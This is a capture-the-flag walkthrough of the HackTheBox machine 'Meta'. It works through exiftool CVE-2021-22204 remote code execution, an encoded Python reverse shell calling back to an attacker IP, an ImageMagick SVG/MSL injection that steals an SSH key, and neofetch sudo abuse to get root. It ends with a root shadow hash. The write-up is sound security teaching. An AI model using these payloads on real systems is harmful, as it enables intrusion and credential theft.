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# HackTheBox-Meta
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## NMAP
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```bash
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
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| ssh-hostkey:
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| 256 b5:e5:59:53:00:18:96:a6:f8:42:d8:c7:fb:13:20:49 (ECDSA)
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|_ 256 05:e9:df:71:b5:9f:25:03:6b:d0:46:8d:05:45:44:20 (ED25519)
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80/tcp open http Apache httpd
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|_http-server-header: Apache
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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```
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## PORT 80 (HTTP)
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When visiting the site it resovles to domain name `artcorp.htb` , so add this to `hosts` file
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<img src="https://i.imgur.com/HmIYH0u.png"/>
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<img src="https://i.imgur.com/hrP22o2.png"/>
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So running to fuzz for files and directories using `dirsearch`
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<img src="https://i.imgur.com/TJsqUF6.png"/>
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It didn't found anything interesting , since we have a domain name , we can fuzz for a subdomain using `wfuzz`
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<img src="https://i.imgur.com/ufsdlcd.png"/>
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Now adding this to `hosts` file as well
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<img src="https://i.imgur.com/L1A1grU.png"/>
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<img src="https://i.imgur.com/wFgTZsT.png"/>
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Now here it's reading metdata from the image file with extension png or jpeg/jpg , I tried uploading a normal php file which the server responded with file not allowed
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<img src="https://i.imgur.com/7yBuqeP.png"/>
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So let's try to add a comment which will have a php command into a legit png file
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<img src="https://i.imgur.com/BwaSOSV.png"/>
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<img src="https://i.imgur.com/mFDrokS.png"/>
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When we upload this to the site , it will remove this php comment
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<img src="https://i.imgur.com/BqUP7Br.png"/>
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## Foothold
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For this there's a CVE (CVE-2021-22204)
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<img src="https://i.imgur.com/NxJZ9Tm.png"/>
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We can find the POC as well
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https://github.com/OneSecCyber/JPEG_RCE
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<img src="https://i.imgur.com/afTmIhg.png"/>
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Clone the repo and use the `eval.config` file
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```bash
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exiftool -config eval.config image.png -eval='system("id")'
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```
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<img src="https://i.imgur.com/ua2Jnyl.png"/>
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On uploading it you'll see the out of the command in `system`
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<img src="https://i.imgur.com/PasTjiU.png"/>
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To get a reverse shell we can use python3 to reverse shell payload and to not run into problem quotes problem I base64 encoded the payload so bash doesn't scream about double qutoes and single quotes
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```bash
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exiftool -config eval.config image.png -eval='system("echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjEyNSIsMjIyMikpO29zLmR1cDIocy5maWxlbm8oKSwwKTtvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO3N1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKSc=' | base64 -d |bash")'
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```
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<img src="https://i.imgur.com/q0ljUiv.png"/>
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Start the listener and upload the file
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<img src="https://i.imgur.com/cwhriG5.png"/>
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After getting the shell , stabilize it with python3, checking `sudo -l` and other directories I wasn't able to find anything that could allow us to privesc to `thomas` user, so transfered `pspy` to monitor background processes and found that there was a cron job running as thomas
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<img src="https://i.imgur.com/RfecofJ.png"/>
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## Privilege Escalation (Thomas)
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If we check the script which is being ran as thomas we can see that it's running `mogrify` , luckily this has an exploit which has command injection
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https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
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<img src="https://i.imgur.com/tcBNnY8.png"/>
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So what script is actually doing is naviagting to `convert_images` in web directory and there it's running mogrify to convert image files to png format so we need to place our svg paylod there
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```bash
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<image authenticate='ff" `echo $(cat ~/.ssh/id_rsa)> /dev/shm/uwu`;"'>
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<read filename="pdf:/etc/passwd"/>
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<get width="base-width" height="base-height" />
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<resize geometry="400x400" />
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<write filename="test.png" />
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<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
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<image xlink:href="msl:poc.svg" height="100" width="100"/>
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</svg>
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</image>
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```
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<img src="https://i.imgur.com/OnnvdE9.png"/>
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After waiting for a minute for cron job to run the script
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<img src="https://i.imgur.com/Lojjaj3.png"/>
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<img src="https://i.imgur.com/9d7FIpG.png"/>
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This will output the contents of thoma's ssh key in shm folder in a file named `uwu` , now just login through ssh
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<img src="https://i.imgur.com/XKi7DWQ.png"/>
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## Privilege Escalation (root)
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Running `sudo -l` it shows that we can run `neofetch` as the root user
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<img src="https://i.imgur.com/DDH7vGt.png"/>
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Here we can see that `env_reset` is used which means that we can't really exploit PATH variable to replace any command being ran in neofetch but there's `env_keep+=XDG_CONFIG_HOME` which allows us to use this variable for root user
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Launching neofetch with default config
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<img src="https://i.imgur.com/R9DFVGw.png"/>
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Here we see that it's using the defaut configuration file , now about the `env_keep` we can abuse neofetch by loading a config file , copy the config file from thomas's directory because the cron job will be replacing thie config file so avoid this we can create a folder `neofetch` and put the config file there
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<img src="https://i.imgur.com/a5ig8AE.png"/>
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Now make a change to the default config to see if we are able to load a custom config file
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<img src="https://i.imgur.com/7TaT4Wt.png"/>
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```bash
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sudo XDG_CONFIG_HOME=/home/thomas /usr/bin/neofetch
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```
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<img src="https://i.imgur.com/8ZeBi8R.png"/>
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And this time it loads neofetch with showing users so it did work
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Let's try to add a bash command in the config file , it could be any command so I am checking if it can make bash a SUID so we can get root
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<img src="https://i.imgur.com/o5Uf1W4.png"/>
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After running it we can see that bash has SUID bit on
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<img src="https://i.imgur.com/9BIvG5n.png"/>
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<img src="https://i.imgur.com/D84lRzb.png"/>
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And with this we got root
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## References
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- https://hackerone.com/reports/1154542
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- https://github.com/OneSecCyber/JPEG_RCE
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- https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
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- https://blog.adithyanak.com/oscp-preparation-guide/linux-privilege-escalation/sudo-abuse
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root:$6$C2RdQ0RpQ545cx/2$TMbXaoMwVs7XQVOwEwAnzcUVrIR5CdpVaM3Aoml8p9PWQWvxbrGrh/Y6d2.OuKlSHVsNVS0mJwSoGl.q8Pbug0:18996:0:99999:7:::
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